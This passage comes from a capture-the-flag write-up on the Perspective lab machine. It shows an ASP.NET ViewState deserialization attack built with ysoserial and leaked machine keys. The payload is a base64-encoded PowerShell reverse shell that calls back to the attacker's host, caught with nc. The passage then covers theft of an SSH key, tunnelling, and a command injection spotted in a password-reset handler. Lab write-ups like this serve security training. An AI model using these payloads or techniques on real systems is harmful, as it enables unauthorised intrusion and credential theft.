PW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoLxtFj9K1IPuEBn0dfPuAMsfwwBw4=

This payload simply pings my host the default number of times (five).

Submit POC

I’ll find the POST request and send it to Burp Repeater. It’s important that I use the POST to the same path so that the __VIEWSTATEGENERATOR is right. I’ll replace only the __VIEWSTATE parameter with the payload generated above, and submit. If there’s a redirect to login, that means the 30 minute life on the current cookie is up. I can just log in again, and update the cookie from dev tools. Once that’s right, on submitting, there are ICMP packets at a listening tcpdump:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
21:08:10.960559 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 40
21:08:10.960630 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 1, length 40
21:08:12.000925 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 2, length 40
21:08:12.000969 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 2, length 40
21:08:13.046438 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 3, length 40
21:08:13.046475 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 3, length 40
21:08:14.059388 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 4, length 40
21:08:14.059436 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 4, length 40

Shell

A powershell one liner (line three from this Nishang shell), update the IP and port, convert it to 16bit characters, and base64 encode it:

oxdf@hacky$ cat rev.ps1 | iconv -t utf-16le | base64 -w 0; echo
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC
4ANgAnACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2
ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaA
ApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUA
bgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmAD
EAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0
AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbg
BkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0A
LgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAAoA

On my Windows VM, I’ll use that as a payload for ysoserial.exe:

PS > .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANgAnACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAAoA" --generator=90AA2C29 --decryptionalg=AES --decryptionkey=B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9 --validationalg=SHA1 --validationkey=99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF --viewstateuserkey=SAltysAltYV1ewSTaT3
/wEyhRwAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAywovYyBwb3dlcnNoZWxsIC1lbmMgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNjQU1RQXdBQzRBTVFBd0FDNEFNUUEwQUM0QU5nQW5BQ3dBTkFBMEFETUFLUUE3QUNRQWN3QjBBSElBWlFCaEFHMEFJQUE5QUNBQUpBQmpBR3dBYVFCbEFHNEFkQUF1QUVjQVpRQjBBRk1BZEFCeUFHVUFZUUJ0QUNnQUtRQTdBRnNBWWdCNUFIUUFaUUJiQUYwQVhRQWtBR0lBZVFCMEFHVUFjd0FnQUQwQUlBQXdBQzRBTGdBMkFEVUFOUUF6QURVQWZBQWxBSHNBTUFCOUFEc0Fkd0JvQUdrQWJBQmxBQ2dBS0FBa0FHa0FJQUE5QUNBQUpBQnpBSFFBY2dCbEFHRUFiUUF1QUZJQVpRQmhBR1FBS0FBa0FHSUFlUUIwQUdVQWN3QXNBQ0FBTUFBc0FDQUFKQUJpQUhrQWRBQmxBSE1BTGdCTUFHVUFiZ0JuQUhRQWFBQXBBQ2tBSUFBdEFHNEFaUUFnQURBQUtRQjdBRHNBSkFCa0FHRUFkQUJoQUNBQVBRQWdBQ2dBVGdCbEFIY0FMUUJQQUdJQWFnQmxBR01BZEFBZ0FDMEFWQUI1QUhBQVpRQk9BR0VBYlFCbEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCVUFHVUFlQUIwQUM0QVFRQlRBRU1BU1FCSkFFVUFiZ0JqQUc4QVpBQnBBRzRBWndBcEFDNEFSd0JsQUhRQVV3QjBBSElBYVFCdUFHY0FLQUFrQUdJQWVRQjBBR1VBY3dBc0FEQUFMQUFnQUNRQWFRQXBBRHNBSkFCekFHVUFiZ0JrQUdJQVlRQmpBR3NBSUFBOUFDQUFLQUJwQUdVQWVBQWdBQ1FBWkFCaEFIUUFZUUFnQURJQVBnQW1BREVBSUFCOEFDQUFUd0IxQUhRQUxRQlRBSFFBY2dCcEFHNEFad0FnQUNrQU93QWtBSE1BWlFCdUFHUUFZZ0JoQUdNQWF3QXlBQ0FBSUFBOUFDQUFKQUJ6QUdVQWJnQmtBR0lBWVFCakFHc0FJQUFyQUNBQUp3QlFBRk1BSUFBbkFDQUFLd0FnQUNnQWNBQjNBR1FBS1FBdUFGQUFZUUIwQUdnQUlBQXJBQ0FBSndBK0FDQUFKd0E3QUNRQWN3QmxBRzRBWkFCaUFIa0FkQUJsQUNBQVBRQWdBQ2dBV3dCMEFHVUFlQUIwQUM0QVpRQnVBR01BYndCa0FHa0FiZ0JuQUYwQU9nQTZBRUVBVXdCREFFa0FTUUFwQUM0QVJ3QmxBSFFBUWdCNUFIUUFaUUJ6QUNnQUpBQnpBR1VBYmdCa0FHSUFZUUJqQUdzQU1nQXBBRHNBSkFCekFIUUFjZ0JsQUdFQWJRQXVBRmNBY2dCcEFIUUFaUUFvQUNRQWN3QmxBRzRBWkFCaUFIa0FkQUJsQUN3QU1BQXNBQ1FBY3dCbEFHNEFaQUJpQUhrQWRBQmxBQzRBVEFCbEFHNEFad0IwQUdnQUtRQTdBQ1FBY3dCMEFISUFaUUJoQUcwQUxnQkdBR3dBZFFCekFHZ0FLQUFwQUgwQU93QWtBR01BYkFCcEFHVUFiZ0IwQUM0QVF3QnNBRzhBY3dCbEFDZ0FLUUFLQUFvQQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoLldGeBmuaItzhyDWzPZ3JdFXg52I=

Putting that into the same request, on submitting, there’s a connection at nc:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.151 49864

Hitting enter shows the prompt, and then I can run commands as webuser:

PS C:\windows\system32\inetsrv> whoami
perspective\webuser

I can also read user.txt:

PS C:\users\webuser\desktop> type user.txt
dfc768e8************************

SSH

In C:\users\webuser there’s a .ssh directory:

PS C:\users\webuser> ls

    Directory: C:\users\webuser

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         9/2/2021   1:30 PM                .ssh
d-r---         8/2/2021   2:20 PM                3D Objects
d-r---         8/2/2021   2:20 PM                Contacts
d-r---        3/23/2022   7:01 PM                Desktop
d-r---         8/2/2021   2:20 PM                Documents
d-r---         8/2/2021   2:20 PM                Downloads
d-r---         8/2/2021   2:20 PM                Favorites
d-r---         8/2/2021   2:20 PM                Links
d-r---         8/2/2021   2:20 PM                Music
d-r---         8/2/2021   2:20 PM                Pictures
d-r---         8/2/2021   2:20 PM                Saved Games
d-r---         8/2/2021   2:20 PM                Searches
d-r---         8/2/2021   2:20 PM                Videos
-a----        3/23/2022   7:00 PM          42496 userswebuserdesktop

PS C:\users\webuser> cd .ssh
PS C:\users\webuser\.ssh> ls

    Directory: C:\users\webuser\.ssh                

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         9/2/2021   1:31 PM            400 authorized_keys
-a----         9/2/2021   1:28 PM           1679 id_rsa
-a----         9/2/2021   1:28 PM            402 id_rsa.pub  

It contains a SSH key pair, and I can use it to get a better shell with SSH:

oxdf@hacky$ vim ~/keys/perspective-webuser
oxdf@hacky$ chmod 600 ~/keys/perspective-webuser
oxdf@hacky$ ssh -i ~/keys/perspective-webuser webuser@10.10.11.151
Warning: Permanently added '10.10.11.151' (ECDSA) to the list of known hosts.
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved. 

webuser@PERSPECTIVE C:\Users\webuser>

Shell as administrator

Enumeration

File System

webuser’s home directory doesn’t have anything else of interest. There is a sqladmin user, but webuser can’t access their directory:

PS C:\Users> ls

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         8/2/2021   1:16 PM                .NET v4.5
d-----         8/2/2021   1:16 PM                .NET v4.5 Classic
d-----         8/2/2021   2:28 PM                Administrator
d-r---        9/28/2021  11:18 AM                Public
d-----        8/16/2021   9:28 PM                sqladmin
d-----        3/23/2022   7:00 PM                webuser

In the root of c:, there’s both a typical IIS inetpub directory and a WEBAPPS directory:

PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         8/2/2021   1:42 PM                inetpub
d-----       10/12/2022   9:40 AM                Microsoft
d-----         9/3/2021   3:04 PM                mount
d-----         8/2/2021  10:33 AM                PerfLogs
d-r---        3/24/2022   8:37 AM                Program Files
d-----        9/28/2021  10:47 AM                Program Files (x86)
d-r---        9/28/2021  12:02 PM                Users
d-----         9/1/2021  11:49 PM                WEBAPPS
d-----        4/13/2022   8:39 AM                Windows

The mount and Microsoft directories are non-standard, but don’t seem to have anything interesting.

The WEBAPPS dir has three folders:

PS C:\WEBAPPS> ls

    Directory: C:\WEBAPPS

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         9/1/2021  11:49 PM                AdminPanel
d-----        2/10/2022   7:15 PM                PartImages_Prod
d-----        2/10/2022   7:24 PM                PartImages_Staging

There’s a lot of .aspx files in these directories.

C:\inetpub\wwwroot has only the default iisstart.htm file. The bin directory does have some interesting stuff:

PS C:\inetpub\bin> ls */*

    Directory: C:\inetpub\bin\Production

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/15/2021  11:20 PM           1130 App.config
-a----        7/30/2021   2:54 PM           5120 PasswordReset.exe
-a----        8/15/2021  11:19 PM           1130 PasswordReset.exe.config

    Directory: C:\inetpub\bin\Staging

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         9/8/2021   6:44 PM           1136 App.config
-a----        7/30/2021   2:54 PM           5120 PasswordReset.exe
-a----         9/8/2021   6:44 PM           1136 PasswordReset.exe.config

PasswordReset.exe is interesting. Get-FileHash shows that the two binaries are the same:

PS C:\inetpub\bin> Get-FileHash */PasswordReset.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          77532B3AA86623E0A9216E8E997BA0BFCC285FFC28AF5CFAFD27EB3276E64860       C:\inetpub\bin\Production\PasswordReset.exe
SHA256          77532B3AA86623E0A9216E8E997BA0BFCC285FFC28AF5CFAFD27EB3276E64860       C:\inetpub\bin\Staging\PasswordReset.exe

PasswordReset.exe

Running the binary shows it needs arguments:

PS C:\inetpub\bin\Production> .\PasswordReset.exe
Please supply email address and new password

Giving it that, the output looks like it works:

PS C:\inetpub\bin\Production> .\PasswordReset.exe 0xdf@perspective.htb 111!!!qqqQQQ
Resetting Password for user: 0xdf@perspective.htb
...successfully changed password

In fact, this new password is in place for only the Production site. If I jump to the Staging directory and try, it fails:

PS C:\inetpub\bin\Staging> .\PasswordReset.exe 0xdf@perspective.htb 111!!!qqqQQQ
Resetting Password for user: 0xdf@perspective.htb

Unhandled Exception: System.Data.SqlClient.SqlException: Cannot open database "perspective_stage" requested by the login. The login failed.
Login failed for user 'PERSPECTIVE\webuser'.
   at System.Data.SqlClient.SqlInternalConnectionTds..ctor(DbConnectionPoolIdentity identity, SqlConnectionString connectionOptions, SqlCredential credential,
...[snip]...

So the DB on staging is expecting to be logged into by some user other than webuser. If I can find the staging website, it might be a good target for exploitation.

I can confirm that this binary is run as part of the password change process as well. C:\WEBAPPS\PartImages_Staging\handlers\changePassword.ashx contains this line:

System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c C:\\inetpub\\bin\\" +  Configuratio
nManager.AppSettings["environment"]  + "\\PasswordReset.exe " + decryptedstring + " " + password1);

It’s running the binary, and in a command injectable way if I can control decryptedstring, which comes a few lines earlier:

string SessionKeyEnvName = "PerspectiveSessionKey" + ConfigurationManager.AppSettings["environment"];
string decryptedstring = perspective.Utils.Decrypt(token, Environment.GetEnvironmentVariable(SessionKeyEnvName));

It’s the decrypted value of the token. I could also try injecting via the password1 variable, but that must first pass though ValidPassword:

    private bool ValidPassword(string Password)
    {                                                                          
        var regex = new Regex("^([a-zA-Z0-9!@#.^]{6,15})$");                   
        return regex.IsMatch(Password);
    } 

With that limited character set / length, I wasn’t able to inject.

Listening Services

Windows always has a lot of listening ports. I’ll snip out the RPC ports in the 49xxx range:

webuser@PERSPECTIVE C:\ProgramData>netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       2364
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       844
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8009           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
...[snip]...
  TCP    10.10.11.151:22        10.10.14.6:34598       ESTABLISHED     2364
  TCP    10.10.11.151:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.11.151:49867     10.10.14.6:443         ESTABLISHED     12396
...[snip]...
  TCP    [::]:22                [::]:0                 LISTENING       2364
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       844
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:8000              [::]:0                 LISTENING       4
  TCP    [::]:8009              [::]:0                 LISTENING       4
  TCP    [::]:47001             [::]:0                 LISTENING       4
...[snip]...
  UDP    0.0.0.0:123            *:*                                    2464
  UDP    0.0.0.0:5353           *:*                                    1492
  UDP    0.0.0.0:5355           *:*                                    1492
  UDP    10.10.11.151:137       *:*                                    4
  UDP    10.10.11.151:138       *:*                                    4
  UDP    127.0.0.1:53811        *:*                                    2416
  UDP    [::]:123               *:*                                    2464
  UDP    [::]:5353              *:*                                    1492
  UDP    [::]:5355              *:*                                    1492  

NetBios (135) and SMB (445) don’t do much for me at this point. I’ve already enumerated the web services on 80 and 8000. WinRM (5985) isn’t really needed as I have SSH.

8009 stands out as unknown, but it could be the staging site.

Staging Web Site

Tunneling

I’ll reconnect to SSH using an additional option, -L 8009:127.0.0.1:8009. This opens a listening port on my host on 8009, and forwards any traffic to it through the SSH tunnel and then from Perspective to 127.0.0.1:8009.

oxdf@hacky$ ssh -i ~/keys/perspective-webuser -L 8009:127.0.0.1:8009 webuser@10.10.11.151        
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved.

webuser@PERSPECTIVE C:\Users\webuser>

Now I can access the site in my local browser at http://127.0.0.1:8009.

Site

The site looks virtually identical to the main website:

image-20221012061928294

The subtle difference is at the bottom, where it shows the “Environment: Staging | (Port: 8009) | (external domain: staging.perspectivel.htb)”.

Trying to log in with the account I created earlier fails, suggesting this is running with a different database, and matches up with what I saw previously with PasswordReset.exe.

Another difference with the public site is the error messages are more verbose. For example, visiting a non-existent path on the main site returns:

image-20221012062354613

On staging it’s got more detail:

image-20221012062423730Click for full size image

Previous Vulnerabilities

The shtml file read vulnerability is still present, though doesn’t add much, as I can read files from the staging directory over SSH.

Looking at the web.config, the machineKey section is different, this time using the AutoGenerate and IsolateApps keywords:

    <machineKey decryption="AES" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" validationKey="AutoGenerate,IsolateApps" compatibilityMode="Framework20SP2" />

According to Microsoft, AutoGenerate tells ASP.NET to generate a random key, which is stored somewhere (perhaps by the Local Security Authority Service). There may be a way to access it, but I couldn’t find one.

Without these keys, I can’t get to admin. And even when I can (see Beyond Root), I don’t have all I need to perform the deserialization attack.

Password Reset Flow

On the login page (/Account/Login) there’s a link for “Forgot your password?”:

image-20221012082757637

That links leads to /Account/Forgot, which asks for an email address. Entering the admin email returns an error:

image-20221012083226265

Giving it my account reloads /Account/Forgot, this time asking for my security questions. If I get any of them wrong, it errors:

image-20221012084417798

On getting them correct, it loads /Account/forgot?token=LJ77Ah...[snip]...LFg, where the token looks like base64-encoded data, and the window presents the chance to change my password. On entering something twice, it replies that it worked:

image-20221012084918266

Reset Admin Password

Token Analysis

Looking more closely at the token, it decodes to 48 bytes of random data:

oxdf@hacky$ echo "LJ77AhqP4QX076E3VGrz9ZL4GUciOLspNMIW5xSXs6Q869YXMT4JExe9Jz79mLFg" | base64 -d | xxd 
00000000: 2c9e fb02 1a8f e105 f4ef a137 546a f3f5  ,..........7Tj..
00000010: 92f8 1947 2238 bb29 34c2 16e7 1497 b3a4  ...G"8.)4.......
00000020: 3ceb d617 313e 0913 17bd 273e fd98 b160  <...1>....'>...`

It seems to generate the same token each time. I’ll try registering a new user, and following the path, and the token does change, but also the start is still the same:

oxdf@hacky$ echo "LJ77AhqP4QX076E3VGrz9Z7Euj4AupXe8t_Zzy9O-i-baQJn9BTYOaQsqPyJ_juf" | tr '\-\_' '\+\/' | base64 -d | xxd 
